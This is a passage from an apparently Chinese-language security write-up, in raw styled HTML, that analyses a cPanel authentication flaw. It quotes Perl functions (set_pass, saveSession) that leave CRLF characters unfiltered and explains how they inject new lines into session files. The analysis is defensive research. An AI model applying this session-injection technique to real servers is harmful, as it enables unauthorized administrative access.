solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""><br/></span><span leaf="">            $pass</span></span><span leaf=""> =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $server_obj</span></span><span leaf="">-&gt;auth-&gt;set_pass(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$pass</span></span><span leaf="">);</span></code></pre><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">漏洞触发的关键点位于 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">set_pass</span></code><span leaf=""> 函数，该函数实现代码如下，没有对 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">\r\n</span></code><span leaf=""> 字符进行过滤检查：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf=""># Cpanel::Server::Auth</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);"><span leaf=""><br/></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">sub</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> set_user</span></span></span><span leaf="">{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    my</span></span><span leaf=""> (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$self</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $user</span></span><span leaf="">) =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> @_</span></span><span leaf="">;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""><br/></span><span leaf="">    $user</span></span><span leaf=""> =~ s{[\</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">0</span></span><span leaf="">/]}{}g;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf="">    # [1]</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""><br/></span><span leaf="">    $self</span></span><span leaf="">-&gt;{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;user&#39;</span></span><span leaf="">} =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $user</span></span><span leaf="">;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    return</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $user</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);"><span leaf=""><br/></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">sub</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> set_pass</span></span></span><span leaf="">{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    my</span></span><span leaf=""> (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$self</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $pass</span></span><span leaf="">) =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> @_</span></span><span leaf="">;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""><br/></span><span leaf="">    $pass</span></span><span leaf=""> =~</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf=""> s/\0//g</span></span><span leaf="">;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf="">         # [2]</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""><br/></span><span leaf="">    $self</span></span><span leaf="">-&gt;{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;pass&#39;</span></span><span leaf="">} =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $pass</span></span><span leaf="">;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    return</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $pass</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">随后调用 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">_validate_username</span></code><span leaf=""> 验证用户名是否合法（</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">root</span></code><span leaf=""> 合法）。在密码验证之前，请求数据会先保存到 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">session</span></code><span leaf=""> 中，在 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">handle_auth</span></code><span leaf=""> 返回前，这个数据写入操作已经完成。这里与前面 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">session create</span></code><span leaf=""> 的区别在于，没有调用 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">filter_sessiondata</span></code><span leaf=""> 进行 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CRLF</span></code><span leaf=""> 过滤：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">sub</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> saveSession</span></span></span><span leaf="">{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    my</span></span><span leaf=""> (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$session</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $session_ref</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> %options</span></span><span leaf="">) =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> @_</span></span><span leaf="">;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    my</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $ob</span></span><span leaf=""> = get_ob_part(\</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$session</span></span><span leaf="">);</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    return</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> 0</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> if</span></span><span leaf=""> !is_valid_session_name(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$session</span></span><span leaf="">);</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    my</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $encoder</span></span><span leaf=""> =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $ob</span></span><span leaf=""> &amp;&amp; Cpanel::Session::Encoder-&gt;new(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;secret&#39;</span></span><span leaf=""> =&gt;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $ob</span></span><span leaf="">);</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    local</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $session_ref</span></span><span leaf="">-&gt;{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;pass&#39;</span></span><span leaf="">} =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $encoder</span></span><span leaf="">-&gt;encode_data(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$session_ref</span></span><span leaf="">-&gt;{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;pass&#39;</span></span><span leaf="">})</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">      if</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $encoder</span></span><span leaf=""> &amp;&amp;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> length</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $session_ref</span></span><span leaf="">-&gt;{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;pass&#39;</span></span><span leaf="">};</span><span leaf=""><br/></span><span leaf="">    write_session(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$session</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $session_ref</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h2 data-heading="true" style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 4em auto 2em;padding: 0.3em 1.2em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 19.5px;font-weight: bold;display: table;color: rgb(255, 255, 255);background: rgb(15, 76, 129);text-align: center;border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">CRLF 注入</span></h2><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">注入的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">\r\n</span></code><span leaf=""> 在 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">raw</span></code><span leaf=""> 文件中会被解析为独立的行。这是因为 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Cpanel::Config::LoadConfig::loadConfig</span></code><span leaf=""> 在读取 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">session raw</span></code><span leaf=""> 文件时，会检测文件内容是否包含 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">\r</span></code><span leaf=""> ，如果包含则使用 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">\r?\n</span></code><span leaf=""> 作为行分隔符进行 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">split</span></code><span leaf=""> ：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 